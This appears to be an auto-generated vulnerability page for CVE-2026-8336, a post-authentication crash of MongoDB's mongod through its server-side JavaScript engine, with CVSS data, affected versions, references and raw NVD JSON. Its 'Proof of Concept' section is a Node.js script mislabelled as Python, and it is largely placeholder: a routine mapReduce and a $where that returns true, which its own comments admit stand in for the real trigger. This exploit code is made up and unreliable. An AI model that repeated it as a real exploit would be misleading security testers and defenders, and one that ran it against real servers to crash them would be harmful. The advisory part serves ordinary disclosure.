CVE-2026-8336

Description

After invoking $_internalJsEmit, which is not intended to be directly accessible, or mapreduce command’s map function in a certain way, an authenticated user can subsequently crash mongod when the server-side JavaScript engine (through $where, $function, mapreduce reduce stage, etc.) is used also in a specific way, resulting in a post-authentication denial-of-service. This issue impacts MongoDB Server v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MongoDB Server v7.0 < 7.0.34

MongoDB Server v8.0 < 8.0.23

MongoDB Server v8.2 < 8.2.9

MongoDB Server v8.3 < 8.3.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Conceptual Proof of Concept for CVE-2026-8336
// Prerequisites: Valid low-privileged credentials for MongoDB

const { MongoClient } = require("mongodb");

async function exploit() {
  const uri = "mongodb://localhost:27017";
  const client = new MongoClient(uri);

  try {
    await client.connect();
    const db = client.db("test");
    const collection = db.collection("target");

    // Step 1: Trigger the vulnerability preparation
    // Invoking internal function or specific mapreduce logic
    console.log("[+] Step 1: Triggering vulnerability preparation...");
    
    // Attempting to invoke internal function $_internalJsEmit (conceptual)
    // or specific mapReduce command that corrupts state
    await db.command({
      mapReduce: "target",
      map: function() {
        // Specific map logic to corrupt internal JS engine state
        // This is a placeholder for the specific trigger
        emit(1, 1);
      },
      reduce: function(key, values) {
        return Array.sum(values);
      },
      out: { inline: 1 }
    });

    // Step 2: Trigger the crash using server-side JavaScript
    console.log("[+] Step 2: Triggering crash via $where...");
    
    // Using $where to execute JS on the server, interacting with corrupted state
    const query = {
      $where: function() {
        // This execution should cause mongod to crash
        return true;
      }
    };

    await collection.findOne(query);
    console.log("[-] Exploit failed or server did not crash.");

  } catch (e) {
    console.log("[!] Server likely crashed or connection lost: " + e.message);
  } finally {
    await client.close();
  }
}

exploit();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8336
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8336
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8336/
[4] VulDB https://vuldb.com/cve/CVE-2026-8336
[5] https://jira.mongodb.org/browse/SERVER-121610

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8336", "sourceIdentifier": "[email protected]", "published": "2026-05-13T04:17:42.197", "lastModified": "2026-05-13T15:34:29.847", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "After invoking $_internalJsEmit, which is not intended to be directly accessible, or mapreduce command’s map function in a certain way, an authenticated user can subsequently crash mongod when the server-side JavaScript engine (through $where, $function, mapreduce reduce stage, etc.) is used also in a specific way, resulting in a post-authentication denial-of-service.\n\nThis issue impacts MongoDB Server v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:A/V:D/RE:M/U:Red", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NO", "Recovery": "AUTOMATIC", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "RED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-121610", "source": "[email protected]"}]}}